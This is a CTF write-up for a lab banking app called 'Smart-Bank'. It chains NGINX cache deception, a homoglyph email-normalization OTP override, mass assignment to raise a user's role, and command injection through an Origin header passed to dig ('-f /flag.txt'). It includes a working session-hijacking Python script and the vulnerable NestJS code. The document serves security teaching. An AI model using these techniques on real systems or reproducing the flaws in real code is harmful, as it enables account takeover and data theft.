TL;DR

The CTF challenge requires exploiting vulnerabilities in an application setup with NGINX as a reverse proxy and a backend application built using NestJS. The main vulnerabilities exploited include NGINX reverse proxy cache deception, normalization bypass, and mass assignment. The attacker was able to hijack another user’s session, override their OTP secret, elevate privileges, and extract sensitive information.

Challenge Description

The challenge revolves around an application named “Smart-Bank”. This web application offers standard banking features where users can:

  1. Register: New users can sign up, providing personal details to create an account in Smart-Bank.
  2. Enable OTP (One-Time Password): For added security, users can enable OTP-based authentication. The application uses the user’s email to handle OTP secrets, and these secrets are crucial for generating and validating the one-time passwords.
  3. Transactions: Registered users can conduct transactions, sending funds to other users. Each transaction is recorded, and the transaction history, including details about the sender and receiver, can be retrieved.
  4. User Profiles: Users can view and edit their profiles, checking their balance and other account details.

The application’s backend is powered by NestJS and uses Prisma for database interactions. On the front, it uses Nginx as a reverse proxy. The challenge aims to exploit vulnerabilities present in these configurations and the application logic to achieve certain objectives.


Vulnerable Parts

1. NGINX Reverse Proxy Cache Deception

Description: The NGINX configuration allows caching of certain responses. This can lead to cache deception, allowing unauthenticated users to potentially retrieve cached responses.

Relevant Code: The NGINX configuration provided shows the caching mechanism:

http {
    proxy_cache_path    /var/cache/nginx levels=1:2 keys_zone=cache_zone:10m max_size=10g inactive=60m;
    ...
    proxy_no_cache                      $http_cookie;
    proxy_cache_bypass                  $http_cookie;
    proxy_ignore_headers                Set-Cookie Vary Cache-Control Expires;
    proxy_cache                         cache_zone;
		proxy_cache_key                     "$scheme$request_method$host$request_uri";
		proxy_cache_valid                   200 1s;
    ...
}

The configuration shows that caching bypasses requests with cookies ($http_cookie). However, if a request comes in without a cookie, it might fetch a cached response which might have been meant for a different user, thus exposing the Set-Cookie header. We just have to make a request that has the same key of the cached one in the interval of 1s. (be careful to $host$request_uri)

2. Normalization Bypass in OTP

Description: The backend application’s email normalization can be bypassed using homoglyph characters. This allows an attacker to craft email addresses that, once normalized, match an existing user’s email, thereby enabling the attacker to override the OTP secret of the intended victim.

Relevant Code: In getUserOTPStatus, the email is not normalized before being checked, so when checking in the database no result is returned:

async getUserOTPStatus(email: string): Promise<boolean> {
        try {
            const user = await this.usersService.findOneByEmail(email);
            if (!user) {
                throw new NotFoundException("User not found");
            }
            return user.otpEnabled;
        } catch (error) {
            throw new NotFoundException("User not found");
        }
    }

This allows us to create our own otpSecret:

async generateOTPSecret(
        email: string
    ): Promise<{
        secret: string,
        qrcode: string
    }> {
        try {
            const secret = speakEasy.generateSecret({
                name: 'SmartBank transactions OTP',
            })

            const normalizedEmail = normalize(email);
            await this.usersService.updateUserByEmail(normalizedEmail, {
                otpSecret: secret.base32,
            });

            const qrcode = await QRCode.toDataURL(secret.otpauth_url);

            return {
                secret: secret.base32,
                qrcode
            }
        } catch (error) {
            throw new NotFoundException("User not found");
        }
    }

This function uses the normalized email to update the otpSecret allowing us to overwrite other users records by registering with their email replaced with some homoglyph characters.

3. Mass Assignment in User Update

Description: The endpoint for updating user data lacks proper validation and allows mass assignment. This means an attacker can update any field in their user record (except those alredy defined), including the role field, which controls user privileges.

Relevant Code: In the UsersController, the PATCH method for updating user details does not have proper validation:

@UseGuards(AuthenticatedGuard)
@Patch('/me')
async patchUser(
    @Body() body,
    @Req() req
): Promise<any> {
    // todo: add validation via DTO
    // ... omitted for brevity
    const { password, otpSecret, otpEnabled, balance, createdAt, email, ...updateData } = body
    const user = await this.usersService.updateUserById(req.user.id, updateData)
    // ...
}

Since there is no dto associated, this code snippet allows for any field in the user record, except those alredy defined, to be updated, including the role field.

4. Command Injection via Transaction Origin

Description: The application invokes external commands with user-supplied input without proper sanitization. Specifically, the investigate function in the TransactionsService calls the dig command with the thirdPartyOrigin value, which an attacker can control.

Relevant Code: Here’s the investigate function from the TransactionsService:

 // ...
async create(
    req: any,
    createTransactionDto: SubmitTransactionDto
  ) {

 // ...

try {
      const transaction = await this.prismaService.transaction.create({
        data: {
          ...createTransactionDto,
          senderId: req.user.id,
          thirdPartyOrigin: req.headers.origin ? this.securityService.sanitizeInput(req.headers.origin) : null
        }
      });
      return transaction;
    }

 // ...

async investigate(id: number) {
    const transaction = await this.findOneById(id);
    if (!transaction.thirdPartyOrigin) {
      throw new UnprocessableEntityException('Transaction does not have a third party origin');
    }
    const { stdout, stderr } = await execAsync(`dig any ${transaction.thirdPartyOrigin}`);
    // ...
}

The dig command is executed with the thirdPartyOrigin value, which can be manipulated for command injection.


Solution

  1. Session Hijacking:

    • A multi-threaded Python script was crafted to send requests to the application. Whenever the response contained a ‘Set-Cookie’ header (indicating a cached response), the attacker tried accessing the user’s endpoint with the captured cookie. This allowed the attacker to hijack a session of a user with a non-zero balance.
    import requests
    import time
    import threading
    
    URL = "http://10.90.230.167"
    USER_ENDPOINT = "/users/me"
    THREADS = 10
    prox = {"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}
    headers = {
        "Host": "smart-bank.local"
    }
    
    lock = threading.Lock()
    success = False
    
    def worker():
        global success
    
        while not success:
            response = requests.get(URL, headers=headers)
    
            if 'Set-Cookie' in response.headers:
                cookie = response.headers['Set-Cookie']
    
                time.sleep(5)
    
                user_headers = headers.copy()
                user_headers["Cookie"] = cookie
    
                user_response = requests.get(f"{URL}{USER_ENDPOINT}" , headers=user_headers,allow_redirects=False, proxies=prox)
    
                if user_response.status_code == 200:
                    with lock:
                        success = True
                        print(f"Successful user endpoint response with cookie: {cookie}")
    
            time.sleep(0.5)
    
    threads = []
    
    for _ in range(THREADS):
        t = threading.Thread(target=worker)
        t.start()
        threads.append(t)
    
    # Wait for all threads to complete
    for t in threads:
        t.join()
    
  2. OTP Override:

    • An account was created with an email address that, when normalized, matched an existing user’s email (e.g., using “ⅿ.ko[email protected]ocal” to match “[email protected]”). By initiating the OTP generation process, the attacker was able to override the OTP secret of the target user.
  3. Privilege Elevation:

    • Use the hijacked session to login as the target user. Using the mass assignment vulnerability in the /users/me endpoint, the attacker updated the role field of their user record to ‘supervisor’, elevating their privileges within the application.
  4. Extraction of Sensitive Data:

    • With supervisor privileges, the attacker created a transaction with the Origin header set to -f /flag.txt. When visiting /supervision/transactions/id/inspect the backend executed the dig command with this input, inadvertently revealing the contents of the /flag.txt file.

By chaining these vulnerabilities together, the attacker was able to gain supervisor access and retrieve sensitive data from the application.


Unintended Vulnerabilities

1. OTP Secret Exposure

Description: The endpoint designed to retrieve user transactions inadvertently exposed the otpSecret of users. This means that an attacker could directly obtain the OTP secret for a user without needing to exploit the email normalization vulnerability to override it.

Relevant Code: In the SupervisionController, the getUser method retrieves user details and attempts to omit the password and otpSecret fields. However, this filtering was not applied to the getUserTransactions method, leading to potential exposure:

@Get('users/:id')
async getUser(
    @Param('id') id: number,
) {
    const user = await this.usersService.findOneById(+id);
    const { password, otpSecret, ...result } = user;
    return result;
}

@Get('users/:id/transactions')
async getUserTransactions(
    @Param() param: any,
) {
    return this.transactionsService.findAllByUserId(+param.id);
}

The getUserTransactions method could expose transaction details, including the otpSecret, if not properly handled in the TransactionsService.


2. Missing Whitelisting in DTO Validation

Description: The application doesn’t utilize the ValidationPipe module of NestJS with the whitelist option enabled. This means that Data Transfer Objects (DTOs) allow any unspecified fields to pass through. As a result, during user registration, an attacker could directly set a high balance for their account without having to transfer funds.

Relevant Code:

import { IsNotEmpty, IsEmail, IsString } from 'class-validator';
import { Match } from './match.decorator';
export class CreateUserDto {
    @IsNotEmpty()
    name: string;

    @IsEmail()
    @IsNotEmpty()
    email: string;

    @IsString()
    @IsNotEmpty()
    password: string;

    @IsString()
    @IsNotEmpty()
    @Match('password')
    passwordConfirm: string;
}

In the absence of the whitelist option in the ValidationPipe, any field not defined in the DTO (e.g., balance) would still be accepted by the endpoint. If the service layer doesn’t adequately validate or ignore these fields, it can lead to unintended behaviors, like assigning oneself a high balance.

By understanding these unintended vulnerabilities, developers can gain insight into potential oversights in the codebase and further harden the application against both intended and unintended attack vectors


Deploy Challenge

If you’d like to try the challenge for yourself, click the link below:

Deploy Now